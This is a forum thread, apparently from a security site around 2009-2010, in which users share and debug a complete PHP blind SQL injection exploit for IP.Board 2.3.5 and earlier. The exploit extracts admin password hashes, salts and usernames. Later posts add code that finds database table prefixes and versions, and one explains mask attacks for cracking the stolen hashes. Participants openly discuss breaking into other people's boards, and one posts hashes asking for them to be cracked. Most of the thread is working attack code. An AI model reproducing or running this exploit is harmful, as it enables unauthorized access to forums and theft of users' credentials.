|
|
|
|
|
|
IT Security and Insecurity Portal |
|
Posted: Mon Dec 14, 2009 1:36 am |
|
|
Meithal |
Beginner |
|
|
Joined: Oct 22, 2009 |
Posts: 3 |
|
|
|
|
|
|
|
I guess any version of php works if you can make the modifications to the code... |
|
|
|
|
Posted: Wed Dec 30, 2009 8:45 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
It will be good to extract user name from DB...
for example: i have the password for one board but can't login cause I don't know the user name of the admin(I know only his display name)
I tried to retrieve it via SELECT query followed by mysql_fetch_row function but it didn't work... Hints? |
|
|
|
|
|
|
|
|
Posted: Wed Dec 30, 2009 9:16 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
I figured it out - here's the code
Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with passwordspro
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://domain.com/forum/';
$id_start = 1;// starting user ID, default value "1" is admin's ID
$id_end = 10;// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("Target: $url");
for($i = $id_start; $i <= $id_end; $i ++)
{
echo "Testing ID $i\n";
if(!test_target_id($i))
{
echo "ID $i not valid, passing ...\n";
continue;
}
echo "ID $i validated\n";
$hash = get_hash($i);
$salt = get_salt($i);
$name = get_name($i);
$line = "$i:$hash:$salt:$name";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt\n");
xecho("Salt: $name");
xecho("\n------------------------------------------\n");
}
add_line("------------------------------------------");
xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;
$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'notfound')
{
die('Target is patched? Exiting ...');
}
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
global $url, $prefix;
$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_namechar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 65;
$max = 126;
xecho("Char to find is [a-z]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
function get_name($id)
{
$len = 32;
$out = '';
xecho("Finding name ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_namechar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current name: $out \n");
}
xecho("\nFinal name for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);
while(1)
{
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
?>
|
|
|
|
|
|
|
|
thank you so much for sharing this exploit - but help me |
|
Posted: Mon Jan 11, 2010 9:59 am |
|
|
wer0ckz |
Active user |
|
|
Joined: Jan 11, 2010 |
Posts: 25 |
Location: Philippines |
|
|
|
|
|
|
hi guys. i want to thank waraxe.us for sharing this exploit.
please help me crack these IP Board hashes
Hash:903359f388ab42a6b2f7ea6973e58f4b
Hash:c59d9a472c918bcbe8ed9d2dac288aa7
Hash:903359f388ab42a6b2f7ea6973e58f4b
Hash:c59d9a472c918bcbe8ed9d2dac288aa7
Hash:4435cdae4854b8554fd3d0e66025906a
thank you so much |
|
|
|
|
Posted: Tue Jan 12, 2010 1:36 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
do you mind giving us the salts?
btw: wrong forum |
|
|
|
|
Posted: Tue Jan 19, 2010 12:03 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
is there any way to get the sql prefix? |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 2:17 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
AIR_Nayden wrote: | is there any way to get the sql prefix? |
Yes, if MySql version is >= 5.x
Here is example code snippet from my private exploit:
Code: |
function get_prefix()
{
$out = '';
echo "Fetching prefix ...\n";
$p = '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
if(test_condition($p) === false)
{
die('Failed check for table count');
}
$p = '(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
$len = get_num(0, 100, $p);
$len -= 16;
if($len < 0)
{
die('Prefix fetch failed!');
}
else
{
echo "prefix length is $len bytes\n";
}
//%_members_converge == 0x256d656d626572735f636f6e7665726765
$p = "(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";
for($i = 1; $i < $len + 1; $i ++)
{
$p2 = sprintf($p, $i);
$ch = chr(get_num(32, 128, $p2));
echo "Got pos $i --> $ch\n";
$out .= "$ch";
echo "Current prefix: $out \n";
}
echo "\nFinal prefix: $out\n\n";
return $out;
}
|
More information:
http://www.waraxe.us/ftopicp-21245.html |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 3:55 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
can't get this work man..... I put this function and the get_num function in the exploit and set a variable $get_prefix. Before even validating the user ID i make if() check if $get_prefix is TRUE. If so I call get_prefix function and the outcome is always the same - Wrong prefix.... It happens when get_prefix calls test_condition and I can't understand how to get that working.....
Here's my exploit:
Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with passwordspro
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'vulnerable forum url';
$id_start = 1;// starting user ID, default value "1" is admin's ID
$id_end = 1;// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
$get_prefix = TRUE; // set TRUE if you aren't sure about the prefix
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = 'C:\ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("Target: $url \n\n");
for($i = $id_start; $i <= $id_end; $i ++)
{
# Get Prefix?
if($get_prefix)
{
$prefix = get_prefix();
}
echo "Testing ID $i\n";
if(!test_target_id($i))
{
echo "ID $i not valid, passing ...\n";
continue;
}
echo "ID $i validated\n";
$hash = get_hash($i);
$salt = get_salt($i);
$name = get_name($i);
$line = "\n\n $i:$hash:$salt:$name \n\n";
add_line($line);
xecho("\n\n------------------------------------------\n\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt\n");
xecho("Salt: $name");
xecho("\n\n------------------------------------------\n\n");
}
add_line("\n\n ------------------------------------------ \n\n");
xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;
$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'notfound')
{
die('Target is patched? Exiting ...');
}
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
global $url, $prefix;
$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_namechar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 65;
$max = 126;
xecho("Char to find is [a-z]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
function get_name($id)
{
$len = 32;
$out = '';
xecho("Finding name ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_namechar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current name: $out \n");
}
xecho("\nFinal name for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);
while(1)
{
$buff = trim(make_post($url, $post, '', $url));
if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
function get_prefix()
{
$out = '';
xecho("Fetching prefix ...\n");
$p = '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
if(test_condition($p) === false)
{
die('Failed check for table count');
}
$p = '(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
$len = get_num(0, 100, $p);
$len -= 16;
if($len < 0)
{
die('Prefix fetch failed!');
}
else
{
xecho ("prefix length is $len bytes\n");
}
//%_members_converge == 0x256d656d626572735f636f6e7665726765
$p = "(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";
for($i = 1; $i < $len + 1; $i ++)
{
$p2 = sprintf($p, $i);
$ch = chr(get_num(32, 128, $p2));
echo "Got pos $i --> $ch\n";
$out .= "$ch";
echo "Current prefix: $out \n";
}
xecho ("\nFinal prefix: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////
function get_num($min, $max, $pattern)
{
$curr = $out = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$out = $max;
}
else
{
$out = $min;
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho ("Current test: $curr-$max-$min\n");
}
return $out;
}
////////////////////////////////////////////////////////////////
?>
|
|
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 5:28 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This is, when you mix up pieces from different exploit versions
Anyway, just use modified prefix fetching function:
Code: |
function get_prefix()
{
$out = '';
xecho("Fetching prefix ...\n");
$p = 'OR(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
if(test_condition($p) === false)
{
die('Failed check for table count');
}
$p = 'OR(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
$len = get_num(0, 100, $p);
$len -= 16;
if($len < 0)
{
die('Prefix fetch failed!');
}
else
{
xecho ("prefix length is $len bytes\n");
}
//%_members_converge == 0x256d656d626572735f636f6e7665726765
$p = "OR(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";
for($i = 1; $i < $len + 1; $i ++)
{
$p2 = sprintf($p, $i);
$ch = chr(get_num(32, 128, $p2));
echo "Got pos $i --> $ch\n";
$out .= "$ch";
echo "Current prefix: $out \n";
}
xecho ("\nFinal prefix: $out\n\n");
return $out;
}
|
As you can see, there is "OR" added to all three sql queries. |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 5:44 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
thanks what's so different in your version of the exploit? if it's not a secret of course |
|
|
|
|
Posted: Tue Jan 19, 2010 5:58 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
AIR_Nayden wrote: | thanks what's so different in your version of the exploit? if it's not a secret of course |
It contains more functionality. For example admin_login_logs table contains interesting information, which allows effective use of mask attack against password hashes
And it does check FILE privileges for current sql user. |
|
|
|
|
Posted: Tue Jan 19, 2010 6:12 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
interesting what is this mask attack used for? and btw: I found a vulnerable forum with a different table prefix. The URL check is passed but when it gets to sql prefix finding it results in sql error(wrong prefix...). Why is that so? I'm pretty sure the mysql server there is 5+ |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 6:20 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
AIR_Nayden wrote: | interesting what is this mask attack used for? and btw: I found a vulnerable forum with a different table prefix. The URL check is passed but when it gets to sql prefix finding it results in sql error(wrong prefix...). Why is that so? I'm pretty sure the mysql server there is 5+ |
Probably version < 5.x ...
You can try TCP port 3306 and if it's open, then it may reveal MySql daemon version.
In my exploit there is special function for mitigating such problem:
Code: |
function test_version()
{
// >4.x needed!
$p = '(SELECT ORD(SUBSTR(@@version,1,1)))%253e52';
return test_condition($p);
}
|
Mask attack ... , well, admin_login_logs gives hint about plaintext password in form as "******a". So password length will be known and last character too.
PasswordsPro password cracking utility offers mask attack option, so if you know that last char is "a" and before that is 6 other chars, then cracking performance is maximised. |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 6:37 pm |
|
|
AIR_Nayden |
Advanced user |
|
|
Joined: Dec 30, 2009 |
Posts: 70 |
Location: Bulgaria |
|
|
|
|
|
|
that is very usefull.... maybe I should get down to work and write these functions for me as well
Strange.... this test sql version function also gives me SQL prefix error on the board with the changed prefix and it returns 1 in board with ibf_ prefix.... |
|
|
|
|
|
|
|
|
Posted: Tue Jan 19, 2010 7:54 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
AIR_Nayden wrote: | that is very usefull.... maybe I should get down to work and write these functions for me as well
